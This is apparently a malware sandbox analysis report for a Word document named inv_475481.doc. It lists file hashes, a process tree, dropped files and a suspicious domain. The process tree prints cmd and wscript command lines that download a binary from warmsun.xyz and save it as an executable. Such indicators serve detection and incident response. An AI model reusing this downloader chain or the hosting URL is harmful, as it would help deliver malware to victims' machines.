File name: | inv_475481.doc |
Full analysis: | https://app.any.run/tasks/5a18858d-e2dd-4d4d-8c53-8eed9c5e3851 |
Verdict: | Malicious activity |
Analysis date: | February 21, 2020, 23:04:24 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/encrypted |
File info: | CDFV2 Encrypted |
MD5: | DF2587EFC0598D4AFA62C293D472F8D1 |
SHA1: | EB0C3F8A0BEAED7C835B3B3BFB746DD6713EF957 |
SHA256: | 5BA417F02473E61AEBD5BE2DF8D8CE969A45E50340DA529EA6E25EFCAA76B110 |
SSDEEP: | 768:r2FfTj0pCPhs0YpII0gUJn9KGIpwv/up6YsK85jfJbRQaUyGyjLSLO3lgg2222h7:rmH0Ab/K4/up6YtyJbRQaUbyjcO3OLjU |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3964 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\inv_475481.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2152 | cmd /c ""C:\DecemberLogs\Restaraunt2.cmd" " | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2956 | wscript //nologo c:\DecemberLogs\OliviaMatter.vbs http://warmsun.xyz/xelfbiuojlwgbyumvyzb/frllo.bin C:\DecemberLogs\Caff54e1.exe | C:\Windows\system32\wscript.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 1 Version: 5.8.7600.16385 | ||||
2852 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3068 | cmd /c ""C:\DecemberLogs\Restaraunt1.cmd" " | C:\Windows\system32\cmd.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2844 | cmd /c ""C:\DecemberLogs\Restaraunt2.cmd" " | C:\Windows\system32\cmd.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2596 | wscript //nologo c:\DecemberLogs\OliviaMatter.vbs http://warmsun.xyz/xelfbiuojlwgbyumvyzb/frllo.bin C:\DecemberLogs\Caff54e1.exe | C:\Windows\system32\wscript.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Version: 5.8.7600.16385 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6C20.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF617E636170C2E8AF.TMP | — | |
MD5:— | SHA256:— | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF52C7C7BF9D9CD3C8.TMP | — | |
MD5:— | SHA256:— | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFAE26345224E0501A.TMP | — | |
MD5:— | SHA256:— | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFACDE1F62BBEF5056.TMP | — | |
MD5:— | SHA256:— | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF415495C361EE8DD1.TMP | — | |
MD5:— | SHA256:— | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFC903E7C4F7F8AEAF.TMP | — | |
MD5:— | SHA256:— | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:8705E7D35117CF605EF761D225C1F1E3 | SHA256:2741B38EAA68EE329063F9DF6B38F992B6C4BAD6A2490BBE43B6310F28C2FB0C | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$v_475481.doc | pgc | |
MD5:2B2F676EAEE5489FEDDE5F956FF3A690 | SHA256:CAB5CCC40282F9C955BB4A76A33DDB5850A880E75A630D6A07507D875891FDEF | |||
3964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\NODEMGRLib.exd | tlb | |
MD5:89894A7B31618BBB9E518B171D543E12 | SHA256:F17859E8E162B0BC095A41FE7EC67A955BF5C7F178E8FE9497125D7471DC0F02 |
Domain | IP | Reputation |
---|---|---|
warmsun.xyz |
| suspicious |